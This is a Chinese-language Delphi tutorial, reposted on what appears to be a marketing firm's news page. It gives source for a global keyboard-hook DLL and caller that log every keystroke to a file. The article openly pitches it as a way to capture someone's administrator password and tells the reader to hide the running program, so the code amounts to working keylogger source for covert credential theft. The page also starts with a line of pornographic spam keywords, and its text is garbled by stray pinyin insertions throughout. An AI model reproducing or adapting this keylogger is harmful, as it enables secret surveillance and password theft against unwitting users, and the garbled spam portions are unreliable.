日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
Delphi編程使用HOOK監(jiān)視Windows

  文中詳細(xì)介紹了如何通過(guò)Delphi編程使用HOOK監(jiān)視Windows的步驟,同時(shí)給出了程序?qū)嵗?/p>

  每個(gè)程序都有自己的生存空間,在Windows系統(tǒng)中你可以在任何時(shí)候讓你的程序執(zhí)行一些操作,還可以觸發(fā)消息,觸發(fā)的消息分為三種,一是操作你程序的界面,onClick,onMouseMove等等,另外一個(gè)可以使用Windows的消息機(jī)制來(lái)捕獲一些系統(tǒng)消息,但是如果你想在任何時(shí)候監(jiān)控任何程序的情況那可能你就會(huì)選擇HOOK來(lái)實(shí)現(xiàn)了,雖然還有其他方法,但不得不承認(rèn),HOOK是一個(gè)比較簡(jiǎn)單解決問(wèn)題的途徑。

  下面就來(lái)舉個(gè)例子:

  如果你需要訪問(wèn)某個(gè)人的機(jī)器,那在運(yùn)行\(zhòng)\SB之后那個(gè)人就會(huì)在你機(jī)器上敲入他的adminsitrator密碼,當(dāng)然,你也可以使用黑客工具來(lái)得到他的密碼,但是,為什么不自己嘗試一下寫個(gè)程序記錄所有的鍵盤操作呢?

  首先需要申明一點(diǎn),Hook不同于一般的應(yīng)用程序,需要作為一個(gè)全局DLL出現(xiàn),否則無(wú)法在你程序不激活的狀態(tài)捕獲其他信息的,(當(dāng)然你可以用Windows消息,這個(gè)問(wèn)題不在這里討論)。

  寫個(gè)DLL定義一下函數(shù)

 
 
 
  1. function setkeyhook:bool;export;  
  2. function endkeyhook:bool;export;  
  3. procedure keyhookexit;far;  
  4. procedure SetMainHandle(Handle: HWND); export;forward;  
  5. function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  
  6.  
  7. procedure EntryPointProc(Reason: Integer);  
  8.  const 
  9.   hMapObject: THandle = 0;  
  10.  begin  
  11.   case reason of  
  12.    DLL_PROCESS_ATTACH:  
  13.   begin  
  14.    hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);  
  15.    rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);  
  16.   end;  
  17.   DLL_PROCESS_DETACH:  
  18.  begin  
  19.  try 
  20.   UnMapViewOfFile(rHookRec);  
  21.   CloseHandle(hMapObject);  
  22.   except  
  23.  end;  
  24. end;  
  25. end;  
  26. end;  
  27. procedure keyhookexit;far;  
  28. begin  
  29. if hNexthookproc<>0 then endkeyhook;  
  30.  exitproc:=procsaveexit;  
  31. end;  
  32. function endkeyhook:bool;export;  
  33. begin  
  34. if hNexthookproc<>0 then  
  35. begin  
  36.  unhookwindowshookex(hNexthookproc);  
  37.  hNexthookproc:=0;  
  38.  messagebeep(0);  
  39. end;  
  40. result:=hNexthookproc=0;  
  41. MainHandle:=0;  
  42. end;  
  43.  
  44. function Setkeyhook:bool;export;  
  45. begin  
  46.  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);  
  47.  result:=hNexthookproc<>0;  
  48. end;  
  49. function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  
  50. var  
  51.  s:Tstringlist;  
  52. begin  
  53.  if icode<0 then  
  54.  begin  
  55.   result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);  
  56.   exit;  
  57.  end;  
  58.  if lparam<0 then  
  59.  begin  
  60.   exit;  
  61.  end;  
  62.  s:=TStringlist.Create;  
  63.  if FileExists(afilename) then  
  64.   s.LoadFromFile(afilename);  
  65.  
  66.   //將敲打的鍵盤字符保存到文件中   
  67.   s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );  
  68.   s.SaveToFile(afilename);  
  69.   s.Free;  
  70.  
  71.   result:=0;  
  72.  end;  

  Dll的Project文件中定義如下

 
 
 
  1. exports  
  2. setkeyhook index 1,  
  3. endkeyhook index 2,  
  4. SetMainHandle index 3;  
  5.  
  6. begin   
  7. hNexthookproc:=0;  
  8. procsaveexit:=exitproc;  
  9. DllProc := @EntryPointProc;  
  10. EntryPointProc(DLL_PROCESS_ATTACH);  
  11. end;

  這樣DLL就定義好了,接下來(lái)就是畫個(gè)界面:

 
 
 
  1. function setkeyhook:bool;external ’keyspy.dll’;  
  2. function endkeyhook:bool;external ’keyspy.dll’;  
  3. procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;  
  4. //開(kāi)始捕獲鍵盤  
  5. SetMainHandle(handle);  
  6. setkeyhook  
  7. //中止捕獲鍵盤  
  8. endkeyhook    

  然后吧你程序隱蔽起來(lái),啟動(dòng)捕獲鍵盤,在中止捕獲之前,所有鍵盤操作都會(huì)被記錄到你所定義的filename這個(gè)文件名中去,注:這些代碼是臨時(shí)寫的,僅是為了說(shuō)明如何寫個(gè)hook程序。

  另外Hook的功能不僅僅是簡(jiǎn)單使用,這就需要靠大家靈活運(yùn)用了,可以跟很多windows API來(lái)配合,通過(guò)很多技巧作出讓人意想不到的效果。


網(wǎng)站標(biāo)題:Delphi編程使用HOOK監(jiān)視Windows
文章源于:http://www.dlmjj.cn/article/dpejdco.html